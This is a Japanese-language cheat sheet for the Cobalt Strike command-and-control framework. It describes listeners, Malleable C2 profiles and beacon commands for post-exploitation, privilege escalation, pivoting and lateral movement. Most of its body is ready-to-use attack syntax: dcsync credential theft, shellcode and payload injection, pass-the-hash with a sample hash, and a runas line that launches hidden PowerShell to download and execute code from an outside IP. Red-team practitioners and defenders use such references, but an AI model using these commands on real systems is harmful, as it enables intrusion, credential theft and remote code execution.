Cobalt Strike CheatSheet
Cobalt Strike C2フレームワークに関する一般的な注意事項とアドバイス。
概要
基本メニューの説明
- Cobalt Strike: 最初で最も基本的なメニューで、チームサーバーへの接続、環境設定の変更、ビーコンセッションの表示切り替え、リスナーやAggressorスクリプトの管理といった機能を含みます。
- View: Viewメニューは、ターゲット、ログ、収集した認証情報、スクリーンショット、キーストロークなどを管理する要素で構成されています。主な目的は、多くのモジュールの出力に簡単にアクセスできる手段を提供し、取得した戦利品やドメインターゲットを管理することです。
- Attacks: このメニューには、フィッシングメール、Webサイトのクローン作成、ファイルホスティングなど、多数のクライアントサイド攻撃生成手法が含まれています。また、ビーコンペイロードを生成したり、シェルコードだけを生成して後で別の難読化ツールで使用するために保存したりするための多数の方法も提供します。
- Reporting: 攻撃の実行に関する情報を含むPDFやスプレッドシートファイルを簡単に生成できる手段を提供し、小規模なレポートの整理を支援することで、最終的なレポート作成プロセスを容易にします。
- Help: ツールの基本的なヘルプメニューです。
リスナー
Egressリスナー
- HTTP/HTTPS: ビーコン用の最も基本的なペイロードです。デフォルトではリスナーはポート80と443で待ち受けますが、常にカスタムポートを設定するオプションがあります。プロキシ設定の構成、HTTPヘッダーのカスタマイズ、またはインフラストラクチャがペイロードのコールバックにリダイレクターサーバーを使用している場合にビーコンのトラフィックをリダイレクトするためのバインドポートの指定といったオプションがあります。
- DNS: 非常にステルス性の高いペイロードオプションで、DNSプロトコルを介したよりステルスなトラフィックを提供します。接続先のDNSサーバーを指定する必要があります。このタイプのリスナーを使用するのに最適な状況は、ポート80や443といった一般的なトラフィックさえもブロックする、非常に厳しく制限された環境です。
ピボットリスナー
- TCP: 特定のポートにバインドする基本的なTCPリスナーです。
- SMB: 内部拡散と横展開に最適なオプションです。このペイロードはSMBプロトコル上の名前付きパイプを使用し、ポート80や443といったデフォルトポートさえもブラックリストに登録されている場合にファイアウォールをバイパスする最良のアプローチです。
その他のリスナー
- Foreign HTTP/HTTPS: このタイプのリスナーは、HTTPまたはHTTPSペイロードを使用してMetasploitフレームワークからCobalt Strikeへセッションを渡すオプションを提供します。有用な例としては、Metasploitからエクスプロイトモジュールを実行し、Cobalt Strikeでビーコンセッションを取得することが挙げられます。
- External C2: これは特殊なタイプのリスナーで、サードパーティ製アプリケーションがビーコンの通信媒体として機能するオプションを提供します。
Malleable C2プロファイル
簡単に言えば、Malleable C2プロファイルとは、ビーコンが実行時にどのように通信し、振る舞うかを定義する設定ファイルです。モジュールの実行、プロセスやスレッドの生成、DLLのインジェクション、ディスクやメモリへのアクセスなどが含まれます。それだけでなく、ペイロードのトラフィックがpcap上でどのように見えるか、通信間隔やジッターなども設定します。
カスタムMalleable C2プロファイルの大きな利点は、ペイロードを状況やターゲット環境に合わせて構成・カスタマイズできることです。これにより、環境のトラフィックに溶け込むことができ、よりステルス性を高めることができます。
Aggressor スクリプト
Aggressor Script は、Cobalt Strike バージョン 3.0 以降に組み込まれているスクリプト言語です。Aggressor Script を使用すると、Cobalt Strike クライアントを変更および拡張できます。これらのスクリプトは、既存のモジュールに追加の機能を加えたり、新しいモジュールを作成したりできます。
Aggressor Script チュートリアル
一般的なコマンド
- help: 利用可能なコマンドの一覧を表示します。
- help <module>: 選択したモジュールのヘルプメニューを表示します。
- jobs: beacon で実行中のジョブを一覧表示します。
- jobkill <id>: 選択したジョブを強制終了します。
- run: Win32 API 呼び出しを使用して OS コマンドを実行します。
- shell: "cmd.exe /c" を起動して OS コマンドを実行します。
- powershell: "powershell.exe" を起動してコマンドを実行します。
- powershell-import: ローカルの powershell モジュールを現在の beacon プロセスにインポートします。
- powerpick: "powershell.exe" を起動せずに、.NET ライブラリとアセンブリのみを使用して powershell コマンドを実行します。(AMSI と CLM をバイパスします)
- drives: 現在のシステムドライブを一覧表示します。
- getuid: 現在のユーザー UID を取得します。
- sleep: beacon のコールバックの間隔とジッターを設定します。
- sleep の使用法:
sleep [time in seconds] [jitter]
すなわち
sleep 5 60
sleep 120 40
...
- ps: プロセスの一覧表示。
- cd: ディレクトリの変更。
- cp: ローカルファイルを別のローカル場所にコピー。
- download/upload: ファイルのダウンロードとローカルファイルのアップロード。
- download/upload の使い方:
download C:\Users\victim\Documents\passwords.csv
upload C:\Users\S1ckB0y1337\NotMalware\youvebeenhacked.txt
- cancel: ファイルのダウンロードをキャンセルします。
- reg: レジストリを照会します。
エクスプロイト
- browserpivot: Internet Explorer の Web セッションをハイジャックし、被害者のブラウザとして、そのセッション、Cookie、保存されたパスワードを含めて Web を閲覧できるようにします。
- dcsync: mimikatz を使用して DCsync 攻撃を実行します。
- dcsync の使用法:
dcsync [DOMAIN.fqdn] [DOMAIN\user]
すなわち
dcsync CORP.local CORP\steve.johnson
- desktop: ビーコンプロセスにVNCサーバーを注入し、ターゲットのリモートデスクトップビューを取得します。
- desktopの使用法:
desktop [pid] [x86|x64] [high|low]
すなわち
desktop 592 x64 high
desktop 8841 x86 low
❗ high/low 引数はセッションの品質を指定します。
- dllinject/dllload: リフレクティブ DLL をプロセスにインジェクトする/現在のプロセスに DLL をロードする。
- execute-assembly: .NET でコンパイルされたアセンブリ実行ファイルを完全にメモリ上でロードして実行します。
- execute-assembly の使用法:
execute-assembly [/path/to/local/.NET] [arguments]
- inject: 指定したプロセスにビーコンのペイロードを注入し、そのセキュリティコンテキストの下で新しいビーコンセッションを生成します。
- inject の使用法:
inject [pid] [x86|x64] [listener]
すなわち
inject 9942 x64 Lab-SMB
inject 429 x86 Lab-HTTPS
...
- kerberos*: Kerberos チケットを操作します。
- ppid: ポストエクスプロイトの子プロセス生成ジョブに対して、ビーコンの親プロセスを偽装します。これにより、悪意のあるポストエクスプロイトジョブを隠すことができます。
- psinject: 指定したプロセスにインジェクトし、powerpick の機能を使ってコマンドを実行します。
📓 powershell-import でインポートされた Powershell モジュールが利用可能です。
- runu: 偽装されたプロセス PID の下でコマンドを実行します。
- shinject: 実行中の別のプロセスにシェルコードをインジェクトします。
- shspawn: 新しいプロセスを作成し、それにシェルコードをインジェクトします。
- shspawn の使用法:
shspawn [x86|x64] [/path/to/my.bin]
すなわち
shspawn x64 /opt/shellcode/malicious.bin
権限昇格
- elevate: カーネルエクスプロイトやUACバイパスを使用して、権限をAdministratorまたはSYSTEMに昇格させる多数の方法が含まれています。
- elevateの使用法:
elevate [exploit] [listener]
すなわち
elevate juicypotato Lab-SMB
elevate ms16-032 Lab-HTTPS
...
- getsystem: SYSTEM へのなりすましを試みます。失敗した場合は、SYSTEM として実行されているプロセスから steal_token を使用してトークンを窃取できます。
- getprivs: metasploit の機能と同じで、現在のトークンで利用可能なすべての特権を有効にします。
- runasadmin: ローカルカーネルまたは UAC バイパスエクスプロイトを使用して、Administrator または SYSTEM の昇格されたコンテキストでコマンドを実行しようと試みます。elevate との違いは、新しいビーコンを生成せず、選択した指定のアプリケーションを新しいコンテキストで実行する点です。
- runasadmin の使用法:
runasadmin [exploit] [command] [args]
すなわち
runasadmin uac-token-duplication [command]
runasadmin uac-cmstplua [command]
ピボット
- socks: socks4aプロキシサーバーを起動し、指定したポートで待ち受けます。プロキシサーバー経由のアクセスは、proxychainsやredsocksなどのプロキシクライアントを使用して実現できます。
- socks の使用方法:
socks [port]
すなわち
socks 9050
❗ これには、指定したポートに一致するように /etc/proxychains.conf を設定しておく必要があります。Windows で操作する場合、proxychains.conf ファイルは %USERPROFILE%.proxychains\proxychains.conf、(SYSCONFDIR)/proxychains.conf、または (Global programdata dir)\Proxychains\proxychains.conf に配置されている可能性があります。
- covertvpn: 現在のシステム上に VPN を展開し、新しいインターフェースを作成して指定した IP にマージします。これを使用すると、ルーター経由で実際の接続がある場合と同じように、ローカルインターフェースを使って内部ターゲットネットワークにアクセスできます。
横展開
- portscan: 特定のターゲットに対してポートスキャンを実行します。
- portscan の使用方法:
portscan [ip or ip range] [ports]
すなわち
portscan 172.16.48.0/24 1-2048,3000,8080
上記のコマンドは、172.16.48.0/24 サブネット全体のポート 1 から 2048、3000、8080 をスキャンします。これは単一の IP にも利用できます。
- runas: runas.exe のラッパーで、資格情報を使用して別のユーザーとしてコマンドを実行できます。
- runas の使用法:
runas [DOMAIN\user] [password] [command] [arguments]
すなわち
runas CORP\Administrator securePassword12! Powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.90:80/filename'))"
- pth: ユーザー名と NTLM ハッシュを指定することで、Pass The Hash 攻撃を実行し、現在のプロセスに TGT を注入できます。
❗ このモジュールには管理者権限が必要です。
- pth の使用法:
pth [DOMAIN\user] [hash]
pth Administrator 97fc053bc0b23588798277b22540c40d
pth CORP\Administrator 97fc053bc0b23588798277b22540c40d
- steal_token: 指定されたプロセスからトークンを窃取します。
- make_token: 資格情報を提供することで、現在のプロセスに偽装トークンを作成し、偽装されたユーザーのコンテキストでコマンドを実行できます。
- jump: winrm または psexec を使用して横展開し、ターゲット上で新しいビーコンセッションを生成する簡単かつ迅速な方法を提供します。
❗ jump モジュールは、現在の委任/偽装トークンを使用してリモートターゲットで認証します。
💪 jump モジュールを make_token または pth モジュールと組み合わせることで、ネットワーク上の別のターゲットへ素早く「ジャンプ」できます。